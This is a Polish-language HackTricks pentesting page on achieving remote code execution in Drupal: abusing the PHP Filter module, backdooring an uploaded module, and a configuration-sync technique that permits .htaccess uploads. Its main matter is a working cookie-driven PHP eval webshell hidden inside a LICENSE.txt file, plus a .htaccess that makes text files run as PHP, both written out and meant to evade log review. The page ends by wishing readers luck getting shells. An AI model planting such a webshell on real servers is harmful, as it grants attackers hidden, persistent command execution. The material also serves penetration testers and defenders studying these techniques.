Drupal RCE
Reading time: 7 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Z modułem PHP Filter
warning
W starszych wersjach Drupal (przed wersją 8), możliwe było zalogowanie się jako administrator i włączenie modułu PHP filter
, który "Pozwala na ocenę osadzonego kodu/snippetów PHP." Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.
- Przejdź do /modules/php i jeśli zwrócony zostanie błąd 403, to wtyczka PHP filter jest zainstalowana i możesz kontynuować
- Jeśli nie, przejdź do
Modules
i zaznacz polePHP Filter
, a następnie kliknijSave configuration
- Następnie, aby to wykorzystać, kliknij
Add content
, wybierzBasic Page
lubArticle
i napisz PHP backdoor, następnie wybierz kodPHP
w formacie tekstowym i na koniec wybierzPreview
- Aby to uruchomić, po prostu uzyskaj dostęp do nowo utworzonego węzła:
curl http://drupal.local/node/3
Zainstaluj moduł PHP Filter
warning
W obecnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji.
Od wersji 8 wzwyż, moduł PHP Filter nie jest instalowany domyślnie. Aby skorzystać z tej funkcjonalności, musimy zainstalować moduł sami.
- Pobierz najnowszą wersję modułu ze strony Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Po pobraniu przejdź do
Administration
>Reports
>Available updates
. - Kliknij na
Browse
, wybierz plik z katalogu, do którego go pobrano, a następnie kliknijInstall
. - Po zainstalowaniu modułu możemy kliknąć na
Content
i utworzyć nową stronę podstawową, podobnie jak w przykładzie Drupal 7. Ponownie upewnij się, że wybrałeśPHP code
z rozwijanego menuText format
.
Moduł z backdoorem
warning
W obecnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji.
Możliwe było pobranie modułu, dodanie do niego backdoora i zainstalowanie go. Na przykład, pobierając moduł Trurnstile w formacie skompresowanym, tworząc nowy plik backdoora PHP wewnątrz niego, umożliwiając dostęp do pliku PHP za pomocą pliku .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
A następnie przechodzimy do http://drupal.local/admin/modules/install
, aby zainstalować moduł z backdoorem i uzyskać dostęp do /modules/turnstile/back.php
, aby go wykonać.
Backdooring Drupal z synchronizacją konfiguracji
Post udostępniony przez Coiffeur0x90
Część 1 (aktywacja Media i Media Library)
W menu Rozszerzenia (/admin/modules) możesz aktywować to, co wydaje się być już zainstalowanymi wtyczkami. Domyślnie wtyczki Media i Media Library nie wydają się być aktywowane, więc aktywujmy je.
Przed aktywacją:
Po aktywacji:
Część 2 (wykorzystanie funkcji Synchronizacja konfiguracji)
Wykorzystamy funkcję Synchronizacja konfiguracji, aby zrzucić (eksportować) i przesłać (importować) wpisy konfiguracji Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Zacznijmy od patchowania pierwszego wpisu allow_insecure_uploads
z:
Plik: system.file.yml
...
allow_insecure_uploads: false
...
Do:
Plik: system.file.yml
...
allow_insecure_uploads: true
...
Zaktualizuj field.field.media.document.field_media_document.yml
Następnie zaktualizuj drugi wpis file_extensions
z:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Do:
Plik: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu
file_directory
w dowolny sposób i że jest on podatny na atak typu path traversal (możemy więc cofnąć się w drzewie systemu plików Drupal).
Część 3 (wykorzystanie funkcji Dodaj dokument)
Ostatni krok jest najprostszy i dzieli się na dwa podkroki. Pierwszy to przesłanie pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugi to przesłanie pliku .txt zawierającego nasz ładunek.
Plik: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Dlaczego ten trik jest fajny?
Ponieważ po umieszczeniu Webshella (który nazwiemy LICENSE.txt) na serwerze WWW, możemy przesyłać nasze polecenia za pomocą $_COOKIE
, a w logach serwera WWW pojawi się to jako legalne żądanie GET do pliku tekstowego.
Dlaczego nazywamy nasz Webshell LICENSE.txt?
Po prostu dlatego, że jeśli weźmiemy następujący plik, na przykład core/LICENSE.txt (który już znajduje się w rdzeniu Drupala), mamy plik o długości 339 linii i rozmiarze 17,6 KB, co jest idealne do dodania małego fragmentu kodu PHP w środku (ponieważ plik jest wystarczająco duży).
Plik: Zaktualizowany LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Część 3.1 (prześlij plik .htaccess)
Najpierw wykorzystujemy funkcję Add Document (/media/add/document), aby przesłać nasz plik zawierający dyrektywy Apache (.htaccess).
Część 3.2 (prześlij plik LICENSE.txt)
Następnie ponownie wykorzystujemy funkcję Add Document (/media/add/document), aby przesłać Webshell ukryty w pliku licencyjnym.
Część 4 (interakcja z Webshell)
Ostatnia część polega na interakcji z Webshell.
Jak pokazano na poniższym zrzucie ekranu, jeśli ciasteczko oczekiwane przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas przeglądania pliku za pomocą przeglądarki internetowej.
Gdy atakujący ustawi ciasteczko, może interagować z Webshell i wykonywać dowolne polecenia, które chce.
A jak widać w logach, wygląda na to, że żądany był tylko plik txt.
Dziękuję za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka shelli.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.